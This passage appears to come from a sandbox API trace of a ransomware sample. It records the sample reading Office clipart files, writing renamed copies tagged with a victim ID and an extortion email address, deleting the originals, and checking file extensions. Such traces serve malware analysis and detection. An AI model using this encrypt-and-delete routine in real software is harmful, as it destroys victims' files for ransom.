(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.685] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11500) returned 1 [0080.685] CloseHandle (hObject=0x390) returned 1 [0080.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0080.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.685] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.685] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.685] GetLastError () returned 0x0 [0080.685] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0080.687] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0080.688] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.688] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.688] SetEndOfFile (hFile=0x330) returned 1 [0080.688] CloseHandle (hObject=0x330) returned 1 [0080.689] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.689] SetEndOfFile (hFile=0x390) returned 1 [0080.690] CloseHandle (hObject=0x390) returned 1 [0080.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0080.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.691] lstrlenW (lpString=".doc") returned 4 [0080.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString=".docx") returned 5 [0080.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.691] lstrlenW (lpString=".pdf") returned 4 [0080.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString=".xls") returned 4 [0080.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.691] lstrlenW (lpString=".xlsx") returned 5 [0080.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.691] lstrlenW (lpString=".ppt") returned 4 [0080.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.691] lstrlenW (lpString=".zip") returned 4 [0080.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.691] lstrlenW (lpString=".rar") returned 4 [0080.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString=".bz2") returned 4 [0080.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString=".7z") returned 3 [0080.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.691] lstrlenW (lpString=".dbf") returned 4 [0080.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.691] lstrlenW (lpString=".1cd") returned 4 [0080.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.692] lstrlenW (lpString=".jpg") returned 4 [0080.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.991] lstrlenW (lpString=".doc") returned 4 [0080.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString=".docx") returned 5 [0080.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.991] lstrlenW (lpString=".pdf") returned 4 [0080.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString=".xls") returned 4 [0080.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.991] lstrlenW (lpString=".xlsx") returned 5 [0080.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.991] lstrlenW (lpString=".ppt") returned 4 [0080.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.991] lstrlenW (lpString=".zip") returned 4 [0080.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.991] lstrlenW (lpString=".rar") returned 4 [0080.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString=".bz2") returned 4 [0080.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString=".7z") returned 3 [0080.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.991] lstrlenW (lpString=".dbf") returned 4 [0080.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.992] lstrlenW (lpString=".1cd") returned 4 [0080.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0080.992] lstrlenW (lpString=".jpg") returned 4 [0080.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.992] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.992] lstrlenW (lpString="BOATINST.WMF") returned 12 [0080.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0081.522] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=29004) returned 1 [0081.522] CloseHandle (hObject=0x398) returned 1 [0081.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0081.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0081.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.032] GetLastError () returned 0x0 [0082.036] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x714c, lpOverlapped=0x0) returned 1 [0082.037] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x7150, lpOverlapped=0x0) returned 1 [0082.039] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.039] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.039] SetEndOfFile (hFile=0x348) returned 1 [0082.039] CloseHandle (hObject=0x348) returned 1 [0082.041] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.041] SetEndOfFile (hFile=0x398) returned 1 [0082.042] CloseHandle (hObject=0x398) returned 1 [0082.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0082.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.043] lstrlenW (lpString=".doc") returned 4 [0082.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString=".docx") returned 5 [0082.043] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.043] lstrlenW (lpString=".pdf") returned 4 [0082.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString=".xls") returned 4 [0082.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.043] lstrlenW (lpString=".xlsx") returned 5 [0082.043] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.043] lstrlenW (lpString=".ppt") returned 4 [0082.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.043] lstrlenW (lpString=".zip") returned 4 [0082.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.043] lstrlenW (lpString=".rar") returned 4 [0082.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString=".bz2") returned 4 [0082.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString=".7z") returned 3 [0082.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.043] lstrlenW (lpString=".dbf") returned 4 [0082.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.043] lstrlenW (lpString=".1cd") returned 4 [0082.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString=".jpg") returned 4 [0082.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString=".doc") returned 4 [0082.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString=".docx") returned 5 [0082.044] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.044] lstrlenW (lpString=".pdf") returned 4 [0082.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString=".xls") returned 4 [0082.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.044] lstrlenW (lpString=".xlsx") returned 5 [0082.044] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.044] lstrlenW (lpString=".ppt") returned 4 [0082.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString=".zip") returned 4 [0082.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.044] lstrlenW (lpString=".rar") returned 4 [0082.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString=".bz2") returned 4 [0082.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString=".7z") returned 3 [0082.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString=".dbf") returned 4 [0082.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.044] lstrlenW (lpString=".1cd") returned 4 [0082.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0082.045] lstrlenW (lpString=".jpg") returned 4 [0082.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.045] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.045] lstrlenW (lpString="BS00443_.WMF") returned 12 [0082.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.045] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1676) returned 1 [0082.045] CloseHandle (hObject=0x398) returned 1 [0082.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0082.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.046] GetLastError () returned 0x0 [0082.046] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x68c, lpOverlapped=0x0) returned 1 [0082.048] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x690, lpOverlapped=0x0) returned 1 [0082.049] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.049] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.049] SetEndOfFile (hFile=0x348) returned 1 [0082.049] CloseHandle (hObject=0x348) returned 1 [0082.050] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.050] SetEndOfFile (hFile=0x398) returned 1 [0082.051] CloseHandle (hObject=0x398) returned 1 [0082.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0082.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.051] lstrlenW (lpString=".doc") returned 4 [0082.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString=".docx") returned 5 [0082.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.052] lstrlenW (lpString=".pdf") returned 4 [0082.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString=".xls") returned 4 [0082.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.052] lstrlenW (lpString=".xlsx") returned 5 [0082.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.052] lstrlenW (lpString=".ppt") returned 4 [0082.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString=".zip") returned 4 [0082.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.052] lstrlenW (lpString=".rar") returned 4 [0082.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString=".bz2") returned 4 [0082.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString=".7z") returned 3 [0082.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString=".dbf") returned 4 [0082.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString=".1cd") returned 4 [0082.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString=".jpg") returned 4 [0082.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.052] lstrlenW (lpString=".doc") returned 4 [0082.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.052] lstrlenW (lpString=".docx") returned 5 [0082.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.052] lstrlenW (lpString=".pdf") returned 4 [0082.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString=".xls") returned 4 [0082.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.053] lstrlenW (lpString=".xlsx") returned 5 [0082.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.053] lstrlenW (lpString=".ppt") returned 4 [0082.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.053] lstrlenW (lpString=".zip") returned 4 [0082.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.053] lstrlenW (lpString=".rar") returned 4 [0082.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString=".bz2") returned 4 [0082.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString=".7z") returned 3 [0082.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.053] lstrlenW (lpString=".dbf") returned 4 [0082.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.053] lstrlenW (lpString=".1cd") returned 4 [0082.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0082.053] lstrlenW (lpString=".jpg") returned 4 [0082.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.053] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.054] lstrlenW (lpString="BS00444_.WMF") returned 12 [0082.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.054] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: 